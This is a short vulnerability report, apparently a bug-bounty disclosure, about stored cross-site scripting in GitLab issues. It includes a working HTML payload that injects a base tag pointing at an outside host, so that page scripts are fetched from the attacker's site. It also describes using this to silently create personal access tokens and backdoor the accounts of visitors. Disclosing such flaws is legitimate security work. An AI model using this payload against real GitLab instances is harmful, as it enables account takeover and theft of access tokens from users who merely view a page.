Any user can create a project with Stored XSS in an issue. XSS on Gitlab is very dangerous and it can create personal access tokens leading users who visit the XSS page to silently have the accounts backdoor.
Can be abused by changing the base of the project to your site, so scripts are sourced by your site. Change javascript on your site to match the script names being called in the page. This can break things on the page though.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
Standard script include also works depending on the sites CSP policy. This is more stealthy.
